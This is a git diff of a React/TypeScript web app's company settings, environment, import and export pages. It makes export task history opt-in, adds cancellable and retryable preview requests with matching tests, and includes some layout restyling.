@@ -1863,8 +1988,8 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
       {isEnvironmentFormPage &&
       (mode === "create" || (editingEnvironment && !isPlatformManagedEnvironment(editingEnvironment))) ? (
         <SecretRefHintsContext.Provider value={environmentSecretRefHints}>
-        <div className="rounded-md border border-border bg-background" data-testid="environment-form-page">
-          <div className="border-b border-border/60 px-6 pb-4 pt-6">
+        <div data-testid="environment-form-page">
+          <div className="pb-4">
             <div className="mb-4">
               <Button size="sm" variant="ghost" asChild>
                 <Link to={ENVIRONMENTS_PATH}>
@@ -1879,7 +2004,7 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
             </p>
           </div>
 
-          <div className="px-6 py-4">
+          <div className="py-4">
             <div className="space-y-4">
               <Field label="Name" hint="Operator-facing name for this execution target.">
                 <input
@@ -2055,13 +2180,13 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
                       errors={sandboxConfigErrors}
                     />
                   ) : (
-                    <div className="rounded-md border border-border/60 bg-muted/20 px-3 py-2 text-xs text-muted-foreground">
+                    <div className="text-xs text-muted-foreground">
                       This provider does not declare additional configuration fields.
                     </div>
                   )}
                   <ToggleField
                     label="Stream run logs"
-                    hint="Stream the agent CLI's output live while sandbox runs execute (recommended). Turn off to deliver output only when the run finishes."
+                    hint="Stream the agent CLI's output live while runs execute (recommended). Turn off to deliver output only when the run finishes."
                     checked={environmentForm.sandboxConfig.streamRunLogs !== false}
                     onChange={(checked) =>
                       setEnvironmentForm((current) => ({
@@ -2076,7 +2201,7 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
               editingEnvironment.driver === "sandbox" &&
               environmentForm.driver === "sandbox" &&
               selectedCompanyId ? (
-                <div className="space-y-2 rounded-md border border-border/60 bg-muted/20 px-3 py-3">
+                <div className="space-y-2 py-3">
                   <div className="text-sm font-medium">Custom image</div>
                   <div className="text-xs text-muted-foreground">
                     Start a setup sandbox, SSH in to customize the instance, then capture the
@@ -2121,7 +2246,7 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
             </div>
           </div>
 
-          <div className="flex flex-wrap justify-end gap-2 border-t border-border/60 bg-background px-6 py-4">
+          <div className="flex flex-wrap justify-end gap-2 py-4">
             <Button
               variant="outline"
               onClick={closeEnvironmentForm}
diff --git a/ui/src/pages/CompanyExport.test.tsx b/ui/src/pages/CompanyExport.test.tsx
index 4dcdb46556e..c15d756d4da 100644
--- a/ui/src/pages/CompanyExport.test.tsx
+++ b/ui/src/pages/CompanyExport.test.tsx
@@ -5,7 +5,7 @@ import { createRoot, type Root } from "react-dom/client";
 import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
 import type { ExportFidelityReport } from "@paperclipai/shared/portability-fidelity";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-import { CompanyExport } from "./CompanyExport";
+import { CompanyExport, resolveExportPreviewImageSrc } from "./CompanyExport";
 
 const mockCompaniesApi = vi.hoisted(() => ({
   exportPreview: vi.fn(),
@@ -238,11 +238,85 @@ describe("CompanyExport", () => {
     await flushReact();
   }
 
-  it("selects every file by default and requests them all on download", async () => {
+  it("loads the no-task export automatically without an interstitial", async () => {
+    await renderPage();
+
+    expect(container.textContent).not.toContain("Prepare export preview");
+    expect(mockAuthApi.getSession).toHaveBeenCalledTimes(1);
+    expect(mockAgentsApi.list).toHaveBeenCalledWith("company-1");
+    expect(mockProjectsApi.list).toHaveBeenCalledWith("company-1");
+    expect(mockCompaniesApi.exportPreview).toHaveBeenCalledTimes(1);
+    expect(mockCompaniesApi.exportPreview.mock.calls[0]?.[1]).toMatchObject({
+      include: { company: true, agents: true, projects: true, issues: false, skills: true },
+    });
+    expect(mockCompaniesApi.exportFidelity).toHaveBeenCalledWith("company-1");
+  });
+
+  it("shows a retryable error instead of a false loading state", async () => {
+    mockCompaniesApi.exportPreview
+      .mockRejectedValueOnce(new TypeError("Failed to fetch"))
+      .mockResolvedValueOnce(buildExportPreviewResult());
+
+    await renderPage();
+
+    expect(container.textContent).toContain("Export preview failed");
+    expect(container.textContent).toContain("Failed to fetch");
+    expect(container.textContent).not.toContain("Loading export data");
+
+    const retry = Array.from(container.querySelectorAll("button")).find((button) =>
+      button.textContent?.includes("Retry preview"),
+    );
+    expect(retry).toBeDefined();
+    await clickElement(retry!);
+
+    expect(mockCompaniesApi.exportPreview).toHaveBeenCalledTimes(2);
+    expect(container.textContent).toContain("Paperclip export");
+  });
+
+  it("starts the preview without waiting for sidebar-order dependencies", async () => {
+    let resolveSession!: (value: { user: { id: string } }) => void;
+    let resolveAgents!: (value: never[]) => void;
+    let resolveProjects!: (value: never[]) => void;
+    mockAuthApi.getSession.mockReturnValue(new Promise((resolve) => { resolveSession = resolve; }));
+    mockAgentsApi.list.mockReturnValue(new Promise((resolve) => { resolveAgents = resolve; }));
+    mockProjectsApi.list.mockReturnValue(new Promise((resolve) => { resolveProjects = resolve; }));
+
+    await renderPage();
+
+    expect(mockCompaniesApi.exportPreview).toHaveBeenCalledTimes(1);
+    expect(container.textContent).toContain("Paperclip export");
+
+    await act(async () => {
+      resolveSession({ user: { id: "user-1" } });
+      resolveAgents([]);
+      resolveProjects([]);
+    });
+  });
+
+  it("renders the generated org chart through the independent SVG endpoint", () => {
+    expect(resolveExportPreviewImageSrc({
+      src: "images/org-chart.png",
+      selectedFile: "README.md",
+      allFiles: {},
+      orgChartPreviewUrl: "/api/companies/company-1/org.svg",
+    })).toBe("/api/companies/company-1/org.svg");
+  });
+
+  it("keeps task history opt-in, then requests all selected files on download", async () => {
     mockCompaniesApi.exportPreview.mockResolvedValue(buildRichExportPreviewResult());
 
     await renderPage();
 
+    expect(mockCompaniesApi.exportPreview.mock.calls[0]?.[1]).toMatchObject({
+      include: { issues: false, skills: true },
+    });
+    expect(container.textContent).toContain("Exporting 3 of 6 files");
+
+    await clickElement(categoryInput("tasks"));
+    await clickElement(categoryInput("routines"));
+    await clickElement(categoryInput("attachments"));
+
+    expect(mockCompaniesApi.exportPreview.mock.calls.some(([, request]) => request.include.issues === true)).toBe(true);
     expect(container.textContent).toContain("Exporting 6 of 6 files");
     // The tree is a pure browser now — no per-file checkboxes.
     expect(container.querySelector('[role="tree"] input[type="checkbox"]')).toBeNull();
@@ -261,11 +335,92 @@ describe("CompanyExport", () => {
     ]);
   });
 
+  it("keeps controls mounted and aborts a slow task refetch when Tasks is unticked", async () => {
+    let requestCount = 0;
+    let slowRequestSignal: AbortSignal | undefined;
+    mockCompaniesApi.exportPreview.mockImplementation((_companyId, _request, options) => {
+      requestCount += 1;
+      if (requestCount !== 2) return Promise.resolve(buildRichExportPreviewResult());
+      slowRequestSignal = options?.signal;
+      return new Promise((_resolve, reject) => {
+        options?.signal?.addEventListener("abort", () => {
+          reject(new DOMException("The operation was aborted.", "AbortError"));
+        });
+      });
+    });
+
+    await renderPage();
+    await clickElement(categoryInput("tasks"));
+
+    expect(container.textContent).toContain("Updating export preview");
+    expect(categoryInput("tasks").checked).toBe(true);
+    expect(container.querySelector('[role="tree"]')).not.toBeNull();
+    expect(exportButton()).toBeDefined();
+
+    await clickElement(categoryInput("tasks"));
+
+    expect(slowRequestSignal?.aborted).toBe(true);
+    expect(mockCompaniesApi.exportPreview).toHaveBeenCalledTimes(3);
+    expect(mockCompaniesApi.exportPreview.mock.calls[2]?.[1]).toMatchObject({
+      include: { issues: false },
+    });
+    expect(categoryInput("tasks").checked).toBe(false);
+    expect(container.textContent).not.toContain("Updating export preview");
+  });
+
+  it("lets the user cancel a slow refetch without losing the export surface", async () => {
+    let requestCount = 0;
+    let slowRequestSignal: AbortSignal | undefined;
+    mockCompaniesApi.exportPreview.mockImplementation((_companyId, _request, options) => {
+      requestCount += 1;
+      if (requestCount === 1) return Promise.resolve(buildRichExportPreviewResult());
+      slowRequestSignal = options?.signal;
+      return new Promise((_resolve, reject) => {
+        options?.signal?.addEventListener("abort", () => {
+          reject(new DOMException("The operation was aborted.", "AbortError"));
+        });
+      });
+    });
+
+    await renderPage();
+    await clickElement(categoryInput("tasks"));
+
+    const cancel = Array.from(container.querySelectorAll("button")).find((button) =>
+      button.textContent?.includes("Cancel update"),
+    );
+    expect(cancel).toBeDefined();
+    await clickElement(cancel!);
+
+    expect(slowRequestSignal?.aborted).toBe(true);
+    expect(container.textContent).toContain("Preview update cancelled");
+    expect(categoryInput("tasks")).toBeDefined();
+    expect(container.querySelector('[role="tree"]')).not.toBeNull();
+    expect(exportButton()).toBeDefined();
+  });
+
+  it("uses the Skills category for preview and bundle generation", async () => {
+    mockCompaniesApi.exportPreview.mockResolvedValue(buildRichExportPreviewResult());
+
+    await renderPage();
+    await clickElement(categoryInput("skills"));
+
+    expect(mockCompaniesApi.exportPreview.mock.calls.at(-1)?.[1]).toMatchObject({
+      include: { skills: false },
+    });
+    await clickElement(exportButton());
+    expect(mockCompaniesApi.exportBundle.mock.calls[0]?.[1]).toMatchObject({
+      include: { skills: false },
+    });
+  });
+
   it("toggling Tasks off drops one-off task files and their blobs but keeps routines", async () => {
     mockCompaniesApi.exportPreview.mockResolvedValue(buildRichExportPreviewResult());
 
     await renderPage();
     await clickElement(categoryInput("tasks"));
+    await clickElement(categoryInput("routines"));
+    await clickElement(categoryInput("attachments"));
+    await clickElement(categoryInput("tasks"));
 
     expect(container.textContent).toContain("Exporting 4 of 6 files");
     // Routines can carry attachments, so Attachments stays enabled while routines remain.
@@ -290,8 +445,6 @@ describe("CompanyExport", () => {
     mockCompaniesApi.exportPreview.mockResolvedValue(buildRichExportPreviewResult());
 
     await renderPage();
-    await clickElement(categoryInput("tasks"));
-    await clickElement(categoryInput("routines"));
 
     const attachments = categoryInput("attachments");
     expect(attachments.disabled).toBe(true);
@@ -304,6 +457,8 @@ describe("CompanyExport", () => {
     mockCompaniesApi.exportPreview.mockResolvedValue(buildRichExportPreviewResult());
 
     await renderPage();
+    await clickElement(categoryInput("tasks"));
+    await clickElement(categoryInput("attachments"));
 
     const sizeText = () =>
       container.textContent?.match(/Exporting [\d,]+ of [\d,]+ files \(~([\d.]+ [KMGT]?B)\)/)?.[1] ?? null;
@@ -313,7 +468,7 @@ describe("CompanyExport", () => {
 
     await clickElement(categoryInput("tasks"));
 
-    expect(container.textContent).toContain("Exporting 4 of 6 files");
+    expect(container.textContent).toContain("Exporting 3 of 6 files");
     const toggledSize = sizeText();
     expect(toggledSize).not.toBeNull();
     // Dropping the one-off task and its blob shrinks the estimated zip.
diff --git a/ui/src/pages/CompanyExport.tsx b/ui/src/pages/CompanyExport.tsx
index 365a5721bc5..64352b8c9f3 100644
--- a/ui/src/pages/CompanyExport.tsx
+++ b/ui/src/pages/CompanyExport.tsx
@@ -41,8 +41,11 @@ import { buildPortableSidebarOrder } from "../lib/company-portability-sidebar";
 import { getPortableFileDataUrl, getPortableFileText, isPortableImageFile } from "../lib/portable-files";
 import {
   Download,
+  LoaderCircle,
   Package,
+  RotateCcw,
   Search,
+  X,
 } from "lucide-react";
 import {
   type FileTreeNode,
@@ -484,7 +487,7 @@ function generateReadmeFromSelection(
   lines.push("## Getting Started");
   lines.push("");
   lines.push("```bash");
-  lines.push("pnpm exec paperclipai company import this-github-url-or-folder");
+  lines.push("npx paperclipai company import this-github-url-or-folder");
   lines.push("```");
   lines.push("");
   lines.push("See [Paperclip](https://paperclip.ing) for more information.");
@@ -498,15 +501,40 @@ function generateReadmeFromSelection(
 
 // ── Preview pane ──────────────────────────────────────────────────────
 
+export function resolveExportPreviewImageSrc(input: {
+  src: string;
+  selectedFile: string;
+  allFiles: Record<string, CompanyPortabilityFileEntry>;
+  orgChartPreviewUrl?: string;
+}): string | null {
+  const { src, selectedFile, allFiles, orgChartPreviewUrl } = input;
+  if (/^(?:https?:|data:)/i.test(src)) return null;
+
+  // Preview generation deliberately avoids the comparatively expensive PNG
+  // renderer. Use the independently generated SVG endpoint so the README
+  // never shows a broken image; downloaded bundles still contain the PNG.
+  if (src.replace(/^\.\//, "") === "images/org-chart.png" && orgChartPreviewUrl) {
+    return orgChartPreviewUrl;
+  }
+
+  const dir = selectedFile.includes("/") ? selectedFile.slice(0, selectedFile.lastIndexOf("/") + 1) : "";
+  const resolved = dir + src;
+  const entry = allFiles[resolved] ?? allFiles[src];
+  if (!entry) return null;
+  return getPortableFileDataUrl(resolved in allFiles ? resolved : src, entry);
+}
+
 function ExportPreviewPane({
   selectedFile,
   content,
   allFiles,
+  orgChartPreviewUrl,
   onSkillClick,
 }: {
   selectedFile: string | null;
   content: CompanyPortabilityFileEntry | null;
   allFiles: Record<string, CompanyPortabilityFileEntry>;
+  orgChartPreviewUrl?: string;
   onSkillClick?: (skill: string) => void;
 }) {
   if (!selectedFile || content === null) {
@@ -522,16 +550,7 @@ function ExportPreviewPane({
 
   // Resolve relative image paths within the export package (e.g. images/org-chart.png)
   const resolveImageSrc = isMarkdown
-    ? (src: string) => {
-        // Skip absolute URLs and data URIs
-        if (/^(?:https?:|data:)/i.test(src)) return null;
-        // Resolve relative to the directory of the current markdown file
-        const dir = selectedFile.includes("/") ? selectedFile.slice(0, selectedFile.lastIndexOf("/") + 1) : "";
-        const resolved = dir + src;
-        const entry = allFiles[resolved] ?? allFiles[src];
-        if (!entry) return null;
-        return getPortableFileDataUrl(resolved in allFiles ? resolved : src, entry);
-      }
+    ? (src: string) => resolveExportPreviewImageSrc({ src, selectedFile, allFiles, orgChartPreviewUrl })
     : undefined;
 
   return (
@@ -589,22 +608,40 @@ function expandAncestors(filePath: string): string[] {
   return dirs;
 }
 
+interface ExportPreviewMutationInput {
+  includeIssues: boolean;
+  includeSkills: boolean;
+  requestId: number;
+  signal: AbortSignal;
+}
+
+function isAbortError(error: unknown): boolean {
+  return error instanceof DOMException
+    ? error.name === "AbortError"
+    : error instanceof Error && error.name === "AbortError";
+}
+
+function previewErrorMessage(error: unknown): string {
+  return error instanceof Error ? error.message : "Failed to load export data.";
+}
+
 export function CompanyExport() {
   const { selectedCompanyId, selectedCompany } = useCompany();
   const { setBreadcrumbs } = useBreadcrumbs();
   const { pushToast } = useToastActions();
   const navigate = useNavigate();
   const location = useLocation();
-  const { data: session, isFetched: isSessionFetched } = useQuery({
+  const initialFileFromUrl = useRef(filePathFromLocation(location.pathname));
+  const { data: session } = useQuery({
     queryKey: queryKeys.auth.session,
     queryFn: () => authApi.getSession(),
   });
-  const { data: agents = [], isFetched: areAgentsFetched } = useQuery({
+  const { data: agents = [] } = useQuery({
     queryKey: queryKeys.agents.list(selectedCompanyId!),
     queryFn: () => agentsApi.list(selectedCompanyId!),
     enabled: !!selectedCompanyId,
   });
-  const { data: projects = [], isFetched: areProjectsFetched } = useQuery({
+  const { data: projects = [] } = useQuery({
     queryKey: queryKeys.projects.list(selectedCompanyId!),
     queryFn: () => projectsApi.list(selectedCompanyId!),
     enabled: !!selectedCompanyId,
@@ -618,11 +655,21 @@ export function CompanyExport() {
   const [exportData, setExportData] = useState<CompanyPortabilityExportPreviewResult | null>(null);
   const [selectedFile, setSelectedFile] = useState<string | null>(null);
   const [expandedDirs, setExpandedDirs] = useState<Set<string>>(new Set());
-  const [categories, setCategories] = useState<ExportCategorySelection>(buildDefaultExportCategorySelection);
+  const [categories, setCategories] = useState<ExportCategorySelection>(() => ({
+    ...buildDefaultExportCategorySelection(),
+    // Task history is the expensive part of a large-company export. Keep it
+    // opt-in so opening this settings page uses the lightweight preview path.
+    tasks: false,
+    routines: false,
+    attachments: false,
+  }));
   const [treeSearch, setTreeSearch] = useState("");
   const [taskLimit, setTaskLimit] = useState(TASKS_PAGE_SIZE);
+  const [previewCancelled, setPreviewCancelled] = useState(false);
   const savedExpandedRef = useRef<Set<string> | null>(null);
-  const initialFileFromUrl = useRef(filePathFromLocation(location.pathname));
+  const previewAbortControllerRef = useRef<AbortController | null>(null);
+  const previewRequestIdRef = useRef(0);
+  const previewCompanyIdRef = useRef<string | null>(null);
   const currentUserId = session?.user?.id ?? session?.session?.userId ?? null;
   const visibleAgents = useMemo(
     () => agents.filter((agent: Agent) => agent.status !== "terminated"),
@@ -651,10 +698,7 @@ export function CompanyExport() {
     }),
     [orderedAgents, orderedProjects, visibleAgents, visibleProjects],
   );
-  const sidebarOrderKey = useMemo(
-    () => JSON.stringify(sidebarOrder ?? null),
-    [sidebarOrder],
-  );
+  const includeIssues = categories.tasks || categories.routines;
 
   // Navigate-aware file selection: updates state + URL without page reload.
   // `replace` = true skips history entry (used for initial load); false = pushes (used for clicks).
@@ -696,12 +740,13 @@ export function CompanyExport() {
   }, [selectedCompany?.name, setBreadcrumbs]);
 
   const exportPreviewMutation = useMutation({
-    mutationFn: () =>
+    mutationFn: ({ includeIssues: withIssues, includeSkills, signal }: ExportPreviewMutationInput) =>
       companiesApi.exportPreview(selectedCompanyId!, {
-        include: { company: true, agents: true, projects: true, issues: true },
+        include: { company: true, agents: true, projects: true, issues: withIssues, skills: includeSkills },
         sidebarOrder,
-      }),
-    onSuccess: (result) => {
+      }, { signal }),
+    onSuccess: (result, request) => {
+      if (request.requestId !== previewRequestIdRef.current) return;
       setExportData(result);
       // Expand top-level dirs (except tasks — collapsed by default)
       const tree = buildFileTree(result.files);
@@ -727,19 +772,36 @@ export function CompanyExport() {
         setExpandedDirs(topDirs);
       }
     },
-    onError: (err) => {
+    onError: (err, request) => {
+      if (request.requestId !== previewRequestIdRef.current || isAbortError(err)) return;
       pushToast({
         tone: "error",
         title: "Export failed",
-        body: err instanceof Error ? err.message : "Failed to load export data.",
+        body: previewErrorMessage(err),
       });
     },
   });
 
+  function startPreviewRequest() {
+    if (!selectedCompanyId) return;
+    previewAbortControllerRef.current?.abort();
+    const controller = new AbortController();
+    const requestId = previewRequestIdRef.current + 1;
+    previewRequestIdRef.current = requestId;
+    previewAbortControllerRef.current = controller;
+    setPreviewCancelled(false);
+    exportPreviewMutation.mutate({
+      includeIssues,
+      includeSkills: categories.skills,
+      requestId,
+      signal: controller.signal,
+    });
+  }
+
   const downloadMutation = useMutation({
     mutationFn: () =>
       companiesApi.exportBundle(selectedCompanyId!, {
-        include: { company: true, agents: true, projects: true, issues: true },
+        include: { company: true, agents: true, projects: true, issues: includeIssues, skills: categories.skills },
         selectedFiles: Array.from(checkedFiles).sort(),
         sidebarOrder,
       }),
@@ -762,12 +824,20 @@ export function CompanyExport() {
   });
 
   useEffect(() => {
-    if (!selectedCompanyId || exportPreviewMutation.isPending) return;
-    if (!isSessionFetched || !areAgentsFetched || !areProjectsFetched) return;
-    setExportData(null);
-    exportPreviewMutation.mutate();
+    if (!selectedCompanyId) return;
+    if (previewCompanyIdRef.current !== selectedCompanyId) {
+      previewCompanyIdRef.current = selectedCompanyId;
+      setExportData(null);
+      setSelectedFile(null);
+    }
+    startPreviewRequest();
     // eslint-disable-next-line react-hooks/exhaustive-deps
-  }, [selectedCompanyId, isSessionFetched, areAgentsFetched, areProjectsFetched, sidebarOrderKey]);
+  }, [selectedCompanyId, includeIssues, categories.skills]);
+
+  useEffect(() => () => {
+    previewRequestIdRef.current += 1;
+    previewAbortControllerRef.current?.abort();
+  }, []);
 
   const tree = useMemo(
     () => (exportData ? buildFileTree(exportData.files) : []),
@@ -945,6 +1015,14 @@ export function CompanyExport() {
     downloadMutation.mutate();
   }
 
+  function handleCancelPreview() {
+    previewRequestIdRef.current += 1;
+    previewAbortControllerRef.current?.abort();
+    previewAbortControllerRef.current = null;
+    exportPreviewMutation.reset();
+    setPreviewCancelled(true);
+  }
+
   if (!selectedCompanyId) {
     return <EmptyState icon={Package} message="Select a company to export." />;
   }
@@ -953,8 +1031,44 @@ export function CompanyExport() {
     return <PageSkeleton variant="detail" />;
   }
 
+  if (previewCancelled && !exportData) {
+    return (
+      <EmptyState
+        icon={Package}
+        title="Export preview cancelled"
+        message="The preview request was cancelled. Your export settings are unchanged."
+        action="Retry preview"
+        onAction={startPreviewRequest}
+        hideActionIcon
+      />
+    );
+  }
+
+  if (exportPreviewMutation.isError && !exportData) {
+    return (
+      <EmptyState
+        icon={Package}
+        title="Export preview failed"
+        message={previewErrorMessage(exportPreviewMutation.error)}
+        description="Retry the preview. You do not need to reload this page."
+        action="Retry preview"
+        onAction={startPreviewRequest}
+        hideActionIcon
+      />
+    );
+  }
+
   if (!exportData) {
-    return <EmptyState icon={Package} message="Loading export data..." />;
+    return (
+      <EmptyState
+        icon={Package}
+        title="Export preview unavailable"
+        message="No export preview is loaded."
+        action="Load preview"
+        onAction={startPreviewRequest}
+        hideActionIcon
+      />
+    );
   }
 
   const previewContent = selectedFile
@@ -964,7 +1078,7 @@ export function CompanyExport() {
     : null;
 
   return (
-    <div>
+    <div className="max-w-6xl">
       {/* Sticky top action bar */}
       <div className="sticky top-0 z-10 border-b border-border bg-background px-5 py-3">
         <div className="flex flex-wrap items-center justify-between gap-3">
@@ -985,7 +1099,13 @@ export function CompanyExport() {
           <Button
             size="sm"
             onClick={handleDownload}
-            disabled={selectedCount === 0 || downloadMutation.isPending}
+            disabled={
+              selectedCount === 0
+              || downloadMutation.isPending
+              || exportPreviewMutation.isPending
+              || exportPreviewMutation.isError
+              || previewCancelled
+            }
           >
             <Download className="mr-1.5 h-3.5 w-3.5" />
             {downloadMutation.isPending
@@ -1036,6 +1156,8 @@ export function CompanyExport() {
                 const disabled = isAttachments && !isAttachmentsCategoryEnabled(categories);
                 const checked = categories[key] && !disabled;
                 const count = categoryCounts?.[key] ?? 0;
+                const countLoaded = exportData.manifest.includes.issues
+                  || (key !== "tasks" && key !== "routines" && key !== "attachments");
                 return (
                   <label
                     key={key}
@@ -1058,11 +1180,16 @@ export function CompanyExport() {
                       data-export-category={key}
                     />
                     <span className="min-w-0 truncate">{EXPORT_CATEGORY_LABELS[key]}</span>
-                    <span className="text-xs text-muted-foreground">{count.toLocaleString()}</span>
+                    <span className="text-xs text-muted-foreground">
+                      {countLoaded ? count.toLocaleString() : "—"}
+                    </span>
                   </label>
                 );
               })}
             </div>
+            <p className="mt-2 text-xs text-muted-foreground">
+              Task and routine history is opt-in because it can be large.
+            </p>
           </div>
           <div className="border-b border-border px-3 py-2 shrink-0">
             <div className="flex items-center gap-2 rounded-md border border-border px-2 py-1">
@@ -1101,8 +1228,74 @@ export function CompanyExport() {
             )}
           </div>
         </aside>
-        <div className="min-w-0 overflow-y-auto xl:pl-6">
-          <ExportPreviewPane selectedFile={selectedFile} content={previewContent} allFiles={effectiveFiles} onSkillClick={handleSkillClick} />
+        <div className="relative min-w-0 overflow-y-auto xl:pl-6">
+          <ExportPreviewPane
+            selectedFile={selectedFile}
+            content={previewContent}
+            allFiles={effectiveFiles}
+            orgChartPreviewUrl={`/api/companies/${encodeURIComponent(selectedCompanyId)}/org.svg`}
+            onSkillClick={handleSkillClick}
+          />
+          {exportPreviewMutation.isPending ? (
+            <div
+              className="absolute inset-0 z-10 flex min-h-(--sz-520px) items-center justify-center bg-background/90 px-6 text-center"
+              role="status"
+              aria-live="polite"
+              aria-busy="true"
+              data-export-preview-state="loading"
+            >
+              <div className="flex max-w-md flex-col items-center gap-3">
+                <LoaderCircle className="h-6 w-6 animate-spin text-muted-foreground" />
+                <div>
+                  <p className="text-sm font-medium">Updating export preview…</p>
+                  <p className="mt-1 text-xs text-muted-foreground">
+                    Large task histories can take a minute. You can untick Tasks or cancel this update.
+                  </p>
+                </div>
+                <Button type="button" variant="outline" size="sm" onClick={handleCancelPreview}>
+                  <X />
+                  Cancel update
+                </Button>
+              </div>
+            </div>
+          ) : previewCancelled ? (
+            <div
+              className="absolute inset-0 z-10 flex min-h-(--sz-520px) items-center justify-center bg-background/90 px-6 text-center"
+              data-export-preview-state="cancelled"
+            >
+              <div className="flex max-w-md flex-col items-center gap-3">
+                <div>
+                  <p className="text-sm font-medium">Preview update cancelled</p>
+                  <p className="mt-1 text-xs text-muted-foreground">
+                    The previous preview remains available. Retry when you are ready.
+                  </p>
+                </div>
+                <Button type="button" variant="outline" size="sm" onClick={startPreviewRequest}>
+                  <RotateCcw />
+                  Retry preview
+                </Button>
+              </div>
+            </div>
+          ) : exportPreviewMutation.isError ? (
+            <div
+              className="absolute inset-0 z-10 flex min-h-(--sz-520px) items-center justify-center bg-background/90 px-6 text-center"
+              role="alert"
+              data-export-preview-state="error"
+            >
+              <div className="flex max-w-md flex-col items-center gap-3">
+                <div>
+                  <p className="text-sm font-medium text-destructive">Export preview failed</p>
+                  <p className="mt-1 text-xs text-muted-foreground">
+                    {previewErrorMessage(exportPreviewMutation.error)}
+                  </p>
+                </div>
+                <Button type="button" variant="outline" size="sm" onClick={startPreviewRequest}>
+                  <RotateCcw />
+                  Retry preview
+                </Button>
+              </div>
+            </div>
+          ) : null}
         </div>
       </div>
     </div>
diff --git a/ui/src/pages/CompanyImport.tsx b/ui/src/pages/CompanyImport.tsx
index 09aa6ce29e5..496a2eab51d 100644
--- a/ui/src/pages/CompanyImport.tsx
+++ b/ui/src/pages/CompanyImport.tsx
@@ -1621,7 +1621,7 @@ export function CompanyImport() {
     // company list has been refreshed, so the imported company is available
     // from the switcher.
     return (
-      <div className="px-5 py-5 space-y-4">
+      <div className="max-w-6xl space-y-4 px-5 py-5">
         <div>
           <h2 className="text-base font-semibold">Import completed</h2>
           <p className="text-xs text-muted-foreground mt-1">
@@ -1641,7 +1641,7 @@ export function CompanyImport() {
       (item) => activationChecked.has(item.key) && !activatedKeys.has(item.key),
     ).length;
     return (
-      <div className="px-5 py-5 space-y-4">
+      <div className="max-w-6xl space-y-4 px-5 py-5">
         <div>
           <h2 className="text-base font-semibold">Import complete</h2>
           <p className="text-xs text-muted-foreground mt-1">
@@ -1749,7 +1749,7 @@ export function CompanyImport() {
   // outcome above; failure returns to the form with an error toast).
   if (resumedWatchJobId) {
     return (
-      <div className="px-5 py-5 space-y-4">
+      <div className="max-w-6xl space-y-4 px-5 py-5">
         <div>
           <h2 className="text-base font-semibold">Resume watching import</h2>
           <p className="text-xs text-muted-foreground mt-1">
@@ -1771,7 +1771,7 @@ export function CompanyImport() {
   }
 
   return (
-    <div>
+    <div className="max-w-6xl">
       {/* Source form section */}
       <div className="border-b border-border px-5 py-5 space-y-4">
         <div>
diff --git a/ui/src/pages/CompanyInvites.tsx b/ui/src/pages/CompanyInvites.tsx
index a322ca45170..291ba8181a5 100644
--- a/ui/src/pages/CompanyInvites.tsx
+++ b/ui/src/pages/CompanyInvites.tsx
@@ -178,7 +178,7 @@ export function CompanyInvites() {
   }
 
   return (
-    <div className="max-w-5xl space-y-8">
+    <div className="max-w-6xl space-y-8">
       <div className="space-y-3">
         <div className="flex items-center gap-2">
           <MailPlus className="h-5 w-5 text-muted-foreground" />
diff --git a/ui/src/pages/CompanySettings.test.tsx b/ui/src/pages/CompanySettings.test.tsx
index d4e0ebf5547..cbe5036eced 100644
--- a/ui/src/pages/CompanySettings.test.tsx
+++ b/ui/src/pages/CompanySettings.test.tsx
@@ -243,7 +243,7 @@ describe("CompanyEnvironments", () => {
     await flushReact();
     await flushReact();
 
-    const addEnvironmentButton = findAction(container, "Add environment");
+    const addEnvironmentButton = container.querySelector('[aria-label="Add environment"]');
     expect(addEnvironmentButton).toBeTruthy();
 
     await act(async () => {
diff --git a/ui/src/pages/CompanySettings.tsx b/ui/src/pages/CompanySettings.tsx
index e057e0ea300..f7e280dd6d7 100644
--- a/ui/src/pages/CompanySettings.tsx
+++ b/ui/src/pages/CompanySettings.tsx
@@ -1,132 +1,35 @@
-import { ChangeEvent, Fragment, useEffect, useState } from "react";
+import { ChangeEvent, useEffect, useState } from "react";
 import { useMutation, useQueryClient } from "@tanstack/react-query";
 import {
   DEFAULT_COMPANY_ATTACHMENT_MAX_BYTES,
   MAX_COMPANY_ATTACHMENT_MAX_BYTES,
-  ISSUE_THREAD_INTERACTION_KINDS,
   type InteractionResolverGovernance,
   type IssueThreadInteractionKind,
-  type IssueThreadInteractionResolverPolicy,
 } from "@paperclipai/shared";
 import { useCompany } from "../context/CompanyContext";
 import { useBreadcrumbs } from "../context/BreadcrumbContext";
 import { companiesApi } from "../api/companies";
 import { assetsApi } from "../api/assets";
 import { queryKeys } from "../lib/queryKeys";
-import { Link } from "@/lib/router";
 import { Button } from "@/components/ui/button";
+import { SlidersHorizontal } from "lucide-react";
 import {
-  Select,
-  SelectContent,
-  SelectItem,
-  SelectTrigger,
-  SelectValue,
-} from "@/components/ui/select";
-import { Settings, Download, Upload } from "lucide-react";
+  InteractionGovernancePanel,
+  applyGovernanceChange,
+  type GovernanceField,
+  type GovernanceSelectValue,
+} from "../components/InteractionGovernancePanel";
 import { CompanyPatternIcon } from "../components/CompanyPatternIcon";
 import {
   Field,
   ToggleField,
 } from "../components/agent-config-primitives";
+import { InstanceGeneralSettings } from "./InstanceGeneralSettings";
 
 const BYTES_PER_MIB = 1024 * 1024;
 const DEFAULT_COMPANY_ATTACHMENT_MAX_MIB = DEFAULT_COMPANY_ATTACHMENT_MAX_BYTES / BYTES_PER_MIB;
 const MAX_COMPANY_ATTACHMENT_MAX_MIB = MAX_COMPANY_ATTACHMENT_MAX_BYTES / BYTES_PER_MIB;
 
-const INTERACTION_KIND_LABELS: Record<IssueThreadInteractionKind, string> = {
-  suggest_tasks: "Suggested tasks",
-  ask_user_questions: "Ask user questions",
-  request_confirmation: "Confirmations",
-  request_checkbox_confirmation: "Checkbox confirmations",
-  request_item_verdicts: "Item verdicts",
-};
-
-// Sentinel for "no override" — Radix Select disallows empty-string item values.
-const GOVERNANCE_UNSET = "default";
-type GovernanceSelectValue = typeof GOVERNANCE_UNSET | IssueThreadInteractionResolverPolicy;
-
-const GOVERNANCE_POLICY_OPTIONS: { value: GovernanceSelectValue; label: string }[] = [
-  { value: GOVERNANCE_UNSET, label: "Company default" },
